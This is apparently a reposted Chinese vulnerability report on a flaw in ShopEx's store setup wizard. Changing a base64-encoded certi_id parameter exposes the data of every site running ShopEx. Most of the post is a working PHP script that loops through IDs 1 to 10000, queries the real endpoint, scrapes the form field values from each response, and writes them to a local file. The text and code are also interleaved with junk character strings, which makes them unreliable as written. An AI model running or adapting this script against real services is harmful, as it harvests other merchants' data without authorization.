ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
ShopEx某接口缺陷,可遍历所有网站
' e" Q; c5 _& m8 R详细说明：
问题出现在shopex 网店使用向导页面
( r$ C2 g2 ]6 [: H
, E. a7 z) y$ a$ E# v
# ?" ~: R3 t* I' G4 F( y" S3 e  O" Y- w
http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
1 n) a4 \& K4 n

, V8 K) a1 {8 A6 D5 i; I  [# S0 J
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
% G; B; V' Z5 @; N& A, }) R
9 a% Z2 E9 @* y( }. j  Y  t4 ~6 U
+ T1 E0 q( `1 t! }* L# K
我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
) C4 G. i3 z7 D0 _5 |9 W

8 M1 U5 {1 s# _5 C2 C5 S
5 d! ?3 q$ p( {' o<?php
- M7 K* n8 W1 A9 o2 O
                for ($i=1; $i < 10000; $i++) { //遍历

                        ShowshopExD($i);
$ ]  j- b% ^* T2 t- w6 }; W
0 \6 I5 g; j8 T* @. i9 d- p                }

                function ShowshopExD($cid) {

, c) N6 C7 b7 g& x5 l  f1 L: c                $url='http://guide.ecos.shopex.cn/step2.php';
5 F  b8 q! o4 Y7 B: ?6 V& r9 b( r
6 W1 J: [* U8 C2 r; M8 T" O7 P! W+ @                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');

        $url = $url.'?refer='.$refer;
4 {2 i; Q' [8 c8 J' l# K% @
        $ch = curl_init($url);

8 ?0 S) C, a& b- ~3 F! }        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;

        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;

        $result = curl_exec($ch);
& G% k  N, E2 r9 Q
6 i% a5 {" B$ ~1 ^: z1 F/ `/ x        $result = mb_convert_encoding($result, "gb2312", "UTF-8");

0 g* N/ U6 o) B2 F- X        if(strpos($result,$refer))

        {

                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
* S4 ?" Q  C( A4 N, @6 _
5 C. o! C- l4 h) _- G; X! _                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);

                foreach ($value[1] as $key) {
) a# T' W# J1 l- c6 e
: r$ ~7 g0 }7 |! K; F4 c4 H1 o+ {1 {) _                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);

                        echo $res[1][0].':'.$res[3][0]."\r\n";

1 k& j" e6 H, K' K$ N                        $col =$res[1][0].':'.$res[3][0]."\r\n";
2 e2 H+ X& b/ h, C% Z5 K3 b+ |
" ^" |0 e5 R2 C0 k+ ]4 H: c4 Z                        fwrite($fp, $col, strlen($col));

                }
5 f3 }9 A; u+ E4 r8 r% }
                echo '--------------------------------'."\r\n";

                fclose($fp);
! }! n$ Z& ^" T; q! {7 k9 W4 F
: v6 k5 p3 k: q1 U        }
: l$ X$ z+ G) U- g# W& X5 I; d
        flush();
0 V% |( U) f+ S. d  g: @+ ?
        curl_close($ch);
8 K+ s7 S- C2 O5 H. t9 g2 f
+ O% p6 r) p: Z5 g                }
' s9 G) P, `8 P
?>
漏洞证明：
( P! l% q5 S# g  w+ Chttp://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
refer换成其他加密方式